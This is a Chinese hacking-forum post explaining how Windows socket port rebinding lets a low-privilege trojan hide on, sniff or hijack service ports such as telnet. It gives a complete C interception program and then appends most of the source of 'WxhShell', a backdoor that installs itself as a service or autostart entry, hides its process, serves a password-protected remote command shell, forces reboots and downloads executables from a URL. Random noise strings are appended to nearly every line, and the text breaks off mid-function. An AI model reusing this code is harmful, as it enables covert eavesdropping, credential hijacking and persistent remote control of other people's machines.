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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c.~|)^OXXO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iZ:-V8{  
QIw.`$H+  
  saddr.sin_family = AF_INET; aql*@8 )m  
r*g _  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;)kBJ @  
9\xw}ph  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yG_#>3sD+%  
'!0CwZ 7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jIl-}/2  
x:2_FoQ  
  这意味着什么?意味着可以进行如下的攻击: -P?} qy^j(  
Z+}SM]m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +vuW 9  
lz(9pz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wEp/bR1=  
Txxc-$z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \-B>']:R4  
JdAjKN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zL|^5p`K  
)SQ g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E|6|m8  
ge` J>2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ZN?(lt)u9  
V *] !N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qM`SN4C  
Vlf@T  
  #include 5 9 09O  
  #include 6nDx;x&Q  
  #include (lm/S_U$  
  #include    VjnSi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   iN><m|  
  int main() #K[ @$BY:  
  { )dV.A IQ+  
  WORD wVersionRequested; ?ix,Cu@M  
  DWORD ret; <s:Xj  
  WSADATA wsaData; HP8pEo0Y  
  BOOL val; O+yR+aXr'8  
  SOCKADDR_IN saddr; MhsG9q_%  
  SOCKADDR_IN scaddr; 3aOFpCs|#  
  int err; SX4p(t  
  SOCKET s; k.0C*3'  
  SOCKET sc; KIS.4nt#d"  
  int caddsize; ]uZH  0  
  HANDLE mt; v ipmzg(S  
  DWORD tid;   zb4g\H 0  
  wVersionRequested = MAKEWORD( 2, 2 ); ^KlOD_GN|  
  err = WSAStartup( wVersionRequested, &wsaData ); h~1QmEat  
  if ( err != 0 ) { /t/q$X  
  printf("error!WSAStartup failed!\n"); &><`?  
  return -1; p-}:7CXP  
  } 4S=lO?\"A  
  saddr.sin_family = AF_INET; iaC$K@a{  
   }a`LOBne  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [brrziZ  
@!S$gTz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qvscf_%FM  
  saddr.sin_port = htons(23); :K~7BJ(HO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U".-C`4v  
  { c;e ,)$)-|  
  printf("error!socket failed!\n"); Grqs*V &|g  
  return -1; w"e2}iE7  
  } Xnh1pwDhe<  
  val = TRUE; w5;EnI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z`%;bP:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) e`oc#Od&x]  
  { &qC>*X.  
  printf("error!setsockopt failed!\n"); E% 'DIs  
  return -1; y6s$.93  
  } ,>^~u  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G9i#_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  l gC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |( V3  
IF}r%%'Y$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zk]~cG5dT/  
  { j oG>=o  
  ret=GetLastError(); }u&JX  
  printf("error!bind failed!\n"); &-zI7@!  
  return -1; L_~G`Rb3  
  } "&%Hb's  
  listen(s,2); 7'I7   
  while(1) 7jPmI  
  { 5Zov< +kE  
  caddsize = sizeof(scaddr); BCbW;w8aI  
  //接受连接请求  fwEi//1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +D@R'$N  
  if(sc!=INVALID_SOCKET) ?,NAihN]  
  { ,Tx8^|b#F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K+\hv~+@  
  if(mt==NULL) r$7rYxFR  
  { ;1%a:#5  
  printf("Thread Creat Failed!\n"); )&9RoW()?  
  break; .EdV36$n  
  } _=MWt_A '3  
  } hD*?\bBs0  
  CloseHandle(mt); wB^a1=C  
  } PjHm#a3zg%  
  closesocket(s); 9V&LJhDQ  
  WSACleanup(); N9Ml&*%oX{  
  return 0; Ua]zTMI  
  }   sF$m?/Kt  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;p9D2&  
  { ]Oy<zU  
  SOCKET ss = (SOCKET)lpParam; -O5m@rwt<  
  SOCKET sc; KkY22_{ac  
  unsigned char buf[4096]; R4/@dA0  
  SOCKADDR_IN saddr; Ir'f((8:  
  long num; FuKNH~MevQ  
  DWORD val; a|NU)mgEI  
  DWORD ret; iCS/~[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 H]e 2d|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   riL!]'akV  
  saddr.sin_family = AF_INET; |#wz)=mD  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0 Yp;?p^  
  saddr.sin_port = htons(23); A@ME7^w7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D\R^*k@V  
  { sn( }5;  
  printf("error!socket failed!\n"); N;HvB:c  
  return -1; Ce:ds%  
  } <Va>5R_d<  
  val = 100; ( ~>Q2DS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `Nn?G  
  { gm DC,"Y<  
  ret = GetLastError(); wu')Q/v  
  return -1; d%hA~E1rR  
  } 3fPv71NVtt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A=K1T]o  
  { wLbngO=VG  
  ret = GetLastError(); =Ug_1w  
  return -1; .p`'^$X^  
  } > =H8>X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X\%3uPQ  
  { i'<1xd(`  
  printf("error!socket connect failed!\n"); 0h#M)Ft  
  closesocket(sc); TE~@Bl;{?c  
  closesocket(ss); _HsvF[\[  
  return -1; sYpogFfV  
  } [w f12P  
  while(1) YC'~8\x3z  
  { @Hh"Y1B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B}X#oA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4lCm(#T{,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7Cf(y'w^  
  num = recv(ss,buf,4096,0); bSLj-vp  
  if(num>0) |xm|Q(PG  
  send(sc,buf,num,0); =&b[V"  
  else if(num==0) z3]U% y(,  
  break; 639k&"V  
  num = recv(sc,buf,4096,0); V{{x~Q9  
  if(num>0) _3a 5/IZ  
  send(ss,buf,num,0); k6BgY|0gC  
  else if(num==0) R`q!~8u  
  break; Oe`t!&v  
  } \`ReZu$  
  closesocket(ss); ^%pwyY\t  
  closesocket(sc); =6&D4~R  
  return 0 ; [2V/v  
  } I.!/R`  
0 ,-b %X  
7p6J   
========================================================== "[yiNJ"kt  
vuBA&j0C  
下边附上一个代码,,WXhSHELL T"U t).  
8BDL{?Mu  
========================================================== H%]ch6C  
,6"n5Ks}  
#include "stdafx.h" ISew]R2  
"'Uk0>d=_I  
#include <stdio.h> B:cOcd?p  
#include <string.h> fx:KH:q3  
#include <windows.h> 6l'y  
#include <winsock2.h> h>0<@UP  
#include <winsvc.h> %<yM=1~>  
#include <urlmon.h> M7,MxwZ0k  
u7WM6X  
#pragma comment (lib, "Ws2_32.lib") +;;%Atgn  
#pragma comment (lib, "urlmon.lib") }8 _9V|E  
J_ |x^  
#define MAX_USER   100 // 最大客户端连接数 (B<AK4G  
#define BUF_SOCK   200 // sock buffer KTt$Pt/.  
#define KEY_BUFF   255 // 输入 buffer Xkom@F~]  
(14kR  
#define REBOOT     0   // 重启 B}+9U  
#define SHUTDOWN   1   // 关机 uFZB8+  
nD\os[ 3  
#define DEF_PORT   5000 // 监听端口 [dlH t;S  
.N&}<T[  
#define REG_LEN     16   // 注册表键长度 mcr#Ze  
#define SVC_LEN     80   // NT服务名长度 "%*lE0Tx  
*J5RueUG  
// 从dll定义API !#1A7[WN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X388Gs;e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %+ a@|Z   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mX@* 2I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y51D-vj  
[[h)4H{T  
// wxhshell配置信息 9X9zIh]JV  
struct WSCFG { QYXx7h r=$  
  int ws_port;         // 监听端口 L]N2r MM  
  char ws_passstr[REG_LEN]; // 口令 92VX5?Cyg  
  int ws_autoins;       // 安装标记, 1=yes 0=no `e>F<{ M6@  
  char ws_regname[REG_LEN]; // 注册表键名 x=Jn&4q  
  char ws_svcname[REG_LEN]; // 服务名 6xh#;+e }  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9Pk3}f)a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h./vTNMc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )=nPM`Jn.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E :=KH\2f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )+4}Ix/q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O)%kl  
SoU'r]k1x  
}; Pl& `&N;  
=v$s+`cP  
// default Wxhshell configuration Gj8[*3d  
struct WSCFG wscfg={DEF_PORT, 5|G3t`$pa  
    "xuhuanlingzhe", #aY<J:Nx  
    1, (Zg'pSs)  
    "Wxhshell", y6jmn1K  
    "Wxhshell", gzCMJ<3!D  
            "WxhShell Service", %%cSvPcz  
    "Wrsky Windows CmdShell Service",  Cmx2/N  
    "Please Input Your Password: ", F%Umau*1  
  1, =z1o}ga=EA  
  "http://www.wrsky.com/wxhshell.exe", wx%nTf/Oa  
  "Wxhshell.exe" ^@lg5d3F  
    }; m:f ouMS  
[j]J_S9jJ  
// 消息定义模块 ec4%Wk2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S{i@=:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bSR+yr'?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _JJKbi  
char *msg_ws_ext="\n\rExit."; _% 9+U [@  
char *msg_ws_end="\n\rQuit."; vs)I pV(  
char *msg_ws_boot="\n\rReboot..."; ^iRwwN=d  
char *msg_ws_poff="\n\rShutdown..."; s8Ry}{  
char *msg_ws_down="\n\rSave to "; V /9"Xmv75  
o/ g+Z  
char *msg_ws_err="\n\rErr!"; D4O5@KfL  
char *msg_ws_ok="\n\rOK!"; aU<D$I  
ElR&scXi__  
char ExeFile[MAX_PATH]; p/WH#4Xdr  
int nUser = 0; 8 ]06!7S}  
HANDLE handles[MAX_USER]; *tfDXQ^mN  
int OsIsNt; 1;kG[z=A  
+}XL>=-5  
SERVICE_STATUS       serviceStatus; ciGpluQF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tZu*Asx7  
`Ivw`}L  
// 函数声明 Z++Z@J"  
int Install(void); m7wc)"`t  
int Uninstall(void); ?WQd  
int DownloadFile(char *sURL, SOCKET wsh); 'Rkvsch  
int Boot(int flag); pG F5aF7T  
void HideProc(void); CziaxJ  
int GetOsVer(void); "ex~ LB  
int Wxhshell(SOCKET wsl); :7Z\3_D/  
void TalkWithClient(void *cs); opcR~tg@r  
int CmdShell(SOCKET sock); [mf7>M`p]@  
int StartFromService(void); akvwApn5  
int StartWxhshell(LPSTR lpCmdLine); 9p\Hx#^  
M Hnf\|DX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mj~N]cxB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y }&4HrT&  
<% 7P  
// 数据结构和表定义 }y-;>i#m=g  
SERVICE_TABLE_ENTRY DispatchTable[] = | 2.e0Z]k  
{ j`|^s}8t  
{wscfg.ws_svcname, NTServiceMain}, Ld}(*-1i  
{NULL, NULL} cbu nq"  
}; NM1cyZ  
*0&4mi8  
// 自我安装 2 ]DCF  
int Install(void) 9 yW ~79n  
{ p17|ld`  
  char svExeFile[MAX_PATH]; eC^0I78x  
  HKEY key; <5ft6a2fQ  
  strcpy(svExeFile,ExeFile); %eJ\d?nw  
tFvgvx\:  
// 如果是win9x系统,修改注册表设为自启动 }} ``~  
if(!OsIsNt) { I`"-$99|t1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "ji$@b_\?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jW1YTQ  
  RegCloseKey(key); wj#J>C2]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]D ?# \|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fzRyG-cEpj  
  RegCloseKey(key); @!":(@3[  
  return 0; iFnOl*TC  
    } YV1a 3  
  } gY>;|),  
} 4C,kA+P  
else { QxL@'n#5   
Sqdc1zC  
// 如果是NT以上系统,安装为系统服务 z{`6#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <;z[+6T  
if (schSCManager!=0) B-\,2rCCZ  
{ OK M\"A4  
  SC_HANDLE schService = CreateService O$"bd~X  
  ( ! v-w6WG"  
  schSCManager, K9C@dvFH  
  wscfg.ws_svcname, H b A3*2  
  wscfg.ws_svcdisp, = GH@.3`X  
  SERVICE_ALL_ACCESS, H]tSb//qc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N#RD:"RS!  
  SERVICE_AUTO_START, "GwWu-GS  
  SERVICE_ERROR_NORMAL, b(|%Gbg@c  
  svExeFile, 7wiK.99  
  NULL, Q\o$**+{  
  NULL, pYLY;qkG"  
  NULL, YeRcf`  
  NULL, }>{ L#JW  
  NULL BN\fv,  
  ); i>tW|N  
  if (schService!=0) ~']&.  
  { ERfd7V<c>  
  CloseServiceHandle(schService); VMxYZkMNd_  
  CloseServiceHandle(schSCManager); C!ZI&cD9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x1m8~F  
  strcat(svExeFile,wscfg.ws_svcname); 2I]]WBW#:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rV8(ia  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |'U,/  
  RegCloseKey(key); ";)r*UgR{B  
  return 0; kZU"Xn  
    } B^i mG  
  } YW8K $W  
  CloseServiceHandle(schSCManager); W>p\O9BG  
} 5E]UI YAkV  
} hi;WFyJTu  
<CNE>@-f  
return 1; 4NpHX+=P  
} %PQldPL8  
JdaFY+f :  
// 自我卸载 ee&nU(pK  
int Uninstall(void) $xRo<,OV+  
{ ov\Ct%]  
  HKEY key; F-$Z,Q]S  
0M#N=%31  
if(!OsIsNt) { dr| | !{\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y H<$ +U  
  RegDeleteValue(key,wscfg.ws_regname); 7XUhJN3n  
  RegCloseKey(key); VFilF<jvu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PU^[HC*K  
  RegDeleteValue(key,wscfg.ws_regname); y!7B,  
  RegCloseKey(key); ?-pxte8  
  return 0; Nl~Z,hT$*  
  } U/.w;DI   
} YH ETI~'j.  
} ]{K5zSK  
else { /;(<fh<bY  
%$/=4f.j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D-Bv(/Pz]$  
if (schSCManager!=0) DapQ}2'_  
{ !(W[!%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); beJZ pg  
  if (schService!=0) &e%{k@  
  { |9+bSH9  
  if(DeleteService(schService)!=0) { H,(F1+~d  
  CloseServiceHandle(schService); 96vj)ql  
  CloseServiceHandle(schSCManager); qA UaF;{  
  return 0; ge^!F>whr  
  } kj x>  
  CloseServiceHandle(schService); S8*^ss>?^R  
  } 5+y@ ]5&g  
  CloseServiceHandle(schSCManager); *w=z~Jq^R"  
} F`fGz)Mk  
} ,"@w>WL<9  
(3AYy0J%  
return 1; C@ FxB[  
} x HY+q ;  
M{*kB2jr  
// 从指定url下载文件 &@=u+)^-{  
int DownloadFile(char *sURL, SOCKET wsh) `ajx hp  
{ h^['rmd  
  HRESULT hr; 9Tqn zD  
char seps[]= "/"; W=~id"XtJ  
char *token; "w;08TX8  
char *file; M_tj7Q3 W  
char myURL[MAX_PATH]; vAi"$e  
char myFILE[MAX_PATH]; vz6SCGg,  
86/.8  
strcpy(myURL,sURL); ''_,S,.a20  
  token=strtok(myURL,seps); 1pWk9Xuh  
  while(token!=NULL) "=9-i-K9B  
  { .JNcY]V#  
    file=token; 0o;k?4aP.c  
  token=strtok(NULL,seps); A)OdQFet(  
  } <"N:rn{Qq  
~q{\;  
GetCurrentDirectory(MAX_PATH,myFILE); !K!)S^^Po?  
strcat(myFILE, "\\"); -_s%8l^  
strcat(myFILE, file); DD2adu^  
  send(wsh,myFILE,strlen(myFILE),0); )i&%cyZw  
send(wsh,"...",3,0); \'[3^/('  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s;s0}Td_1  
  if(hr==S_OK) )r=9]0=  
return 0; "P MO  
else '-`O. 4u  
return 1; |drf"lX<{  
R'Sa?6xS4  
} R_maNfS]Z  
<[bQo&B2 E  
// 系统电源模块 JK[T]|G  
int Boot(int flag) YFG-U-t3  
{ T]^?l  
  HANDLE hToken; N"S3N)wgd  
  TOKEN_PRIVILEGES tkp; J(4g4?  
t5%TS:u  
  if(OsIsNt) { TS1pR"6l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y^4q9?2G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0%/,>IR>r  
    tkp.PrivilegeCount = 1; |4=ihB9+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gRHtgR)T3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z3clUtC+  
if(flag==REBOOT) {  64SW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H4W1\u  
  return 0; Ih; aBS  
} aUA cR W  
else { D2{L=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kPWBDpzN  
  return 0; :RHm*vt  
} p*Xix%#6  
  } K6-6{vt  
  else { )GK+  
if(flag==REBOOT) { !-7_ +v>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \]t]#D>0  
  return 0; x9h?e`  
} ;r3}g"D@  
else { )Q~C4C-j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xF&6e&nv  
  return 0; ]}.0el{  
} VXA[ TIqp  
} f#1/}Hq/I  
{y1q7Z.M  
return 1; b(/j\NWC  
} [M`=HhJ4  
f`,-b  
// win9x进程隐藏模块 7"#f!.E  
void HideProc(void) d)\2U{  
{ |88CBiu}  
W-1sU g[AN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ubi~%  
  if ( hKernel != NULL ) 5 5^tfu   
  { W8y$ Ve8m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GtC7^ Z&E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =)(0.E  
    FreeLibrary(hKernel); C\OECVT  
  } pp<E))&R  
o OQ'*7_  
return; ;>8kPG  
} vmLpm xS  
fa4=h;>a+  
// 获取操作系统版本 5} G:D  
int GetOsVer(void) yWNOG 2qAP  
{ &f"T,4Oh  
  OSVERSIONINFO winfo; 7|Xe&o<n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g>_OuQ|c  
  GetVersionEx(&winfo); b;*c:{W)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EZ/^nG  
  return 1; W+K.r?G<j  
  else Xo\S9,s{  
  return 0; Yh$fQ:yi\&  
} drI\iae{^  
h D.)M  
// 客户端句柄模块 *,0+RASvq  
int Wxhshell(SOCKET wsl) YtpRy% R  
{ &8n?  
  SOCKET wsh; ?~Pv3'%d  
  struct sockaddr_in client; Y([d;_#P  
  DWORD myID; -R:X<eb  
"b`7[;a  
  while(nUser<MAX_USER) Y[@0qc3UO  
{ jQ|:I7y  
  int nSize=sizeof(client); e?P%wqB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (xu=%  
  if(wsh==INVALID_SOCKET) return 1; eIJ[0c b}  
eVx~n(m!}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y.NE^Vn0  
if(handles[nUser]==0) 6A?8tm/0  
  closesocket(wsh); $it@>L8  
else !9D1 Fa  
  nUser++; p31oL{D  
  } >azEed<B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6} #"qqnx  
8ljuc5,J  
  return 0; uFo/s&6K  
} kM;o0wi  
('JKN"3  
// 关闭 socket zqf[Z3  
void CloseIt(SOCKET wsh) o,*=$/or  
{ x6v,lR  
closesocket(wsh); m8+:=0|$  
nUser--; 8SZK:VE@  
ExitThread(0); [S0mY["  
} !D;c,{Oz  
KUFz:&wK  
// 客户端请求句柄 G|*G9nQ  
void TalkWithClient(void *cs) 7&foEJ3q  
{ xNIGO/uI~  
+{e`]t>_  
  SOCKET wsh=(SOCKET)cs; R5ZIC4p  
  char pwd[SVC_LEN]; -=mwy  
  char cmd[KEY_BUFF]; VE$t%QT  
char chr[1]; 6@YH#{~Zpv  
int i,j; zSXA=   
7 >bMzdH  
  while (nUser < MAX_USER) { $w/E9EJ)3A  
mX;H((  
if(wscfg.ws_passstr) { Cfv]VQQE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P#;Th8k{K2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kC`Rd:5  
  //ZeroMemory(pwd,KEY_BUFF); zN")elBi  
      i=0; X}W)3v  
  while(i<SVC_LEN) { V^sc1ak1Q  
P,ydt  
  // 设置超时 i/*,N&^  
  fd_set FdRead; )i-gs4[(QN  
  struct timeval TimeOut; G "brT5:  
  FD_ZERO(&FdRead); >f@ G>H)+  
  FD_SET(wsh,&FdRead); y\,f6=%k  
  TimeOut.tv_sec=8; oM-[B h]A  
  TimeOut.tv_usec=0; Sc_5FX\Yx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d}+W"j;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P)hi||[  
;_N5>3C:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aq$q ~,E  
  pwd=chr[0]; ,Xtj;@~-  
  if(chr[0]==0xd || chr[0]==0xa) { KUKI qAA  
  pwd=0; bo>E"<  
  break; 8R?I`M_b  
  } c1#+Vse  
  i++; GHG,!C  
    } 6|#g+&[  
3{RL \gh$"  
  // 如果是非法用户,关闭 socket x<F$aXOS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iRve)   
} ix*muVBj.  
tvpN/p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x7$ax79ly  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [.&[<!,.  
$.8 H>c  
while(1) { C:j]43`  
$^h?:L:1n  
  ZeroMemory(cmd,KEY_BUFF); B}\BeFt'  
-N# #w=  
      // 自动支持客户端 telnet标准   J\A8qh8  
  j=0; /b%Q[ Ck_  
  while(j<KEY_BUFF) { A ~&+F>Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X"<|Z]w  
  cmd[j]=chr[0]; @GeHWv  
  if(chr[0]==0xa || chr[0]==0xd) { :1_mfX  
  cmd[j]=0; +t"j-}xzE  
  break; g>n0z5&TNF  
  } A[JM4x   
  j++; >rf5)Y~f  
    } #jP/k.  
yU_9a[$V  
  // 下载文件 L~&" aF/b  
  if(strstr(cmd,"http://")) { '[ 0YIn  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MLS;SCl  
  if(DownloadFile(cmd,wsh)) u)~s4tP4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9rcI+q=E  
  else Y[G9Vok VX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S^j,f'2  
  } jQ$BPEG&X  
  else { zP nC=h|g  
h(N=V|0  
    switch(cmd[0]) { Uw <{i  
  GOVAb'  
  // 帮助 :Q- F9o J  
  case '?': { XU9'Rfp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &t3Jv{  
    break; w2zp#;d  
  } hW' HT  
  // 安装 %\I.DEYH  
  case 'i': { mx}E$b$<CY  
    if(Install()) 6Xa.0(h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^73=7PZ  
    else ~:Mm<*lL%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }N,>A-P  
    break; e{!vNJ0`  
    } H(> M   
  // 卸载 (oYW]c}G,  
  case 'r': { .@k*p>K  
    if(Uninstall()) 28oJFi]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MZ~.(&  
    else Pfan7fq+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TB#N k5  
    break; zH=hI Vc  
    } Dl A Z"C  
  // 显示 wxhshell 所在路径 k?j Fh6%  
  case 'p': { t.U{Bu P  
    char svExeFile[MAX_PATH]; Pz`hX$  
    strcpy(svExeFile,"\n\r"); aU(tu2  
      strcat(svExeFile,ExeFile); H.~bD[gA  
        send(wsh,svExeFile,strlen(svExeFile),0); r0btC@Hxy  
    break; D9o*8h2$  
    } :Tb7r6  
  // 重启 w1i?# !|  
  case 'b': { m&Sp1=*Ejy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @q)E=G1<o0  
    if(Boot(REBOOT)) JIV8q HC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XKSX#cia  
    else { q%S8\bt  
    closesocket(wsh); xR}of"  
    ExitThread(0); K)5;2lN,  
    } 5-w:c>  
    break; $?f]ZyZr.  
    } 5~l2!PY  
  // 关机 PEzia}m  
  case 'd': { @?a4i  
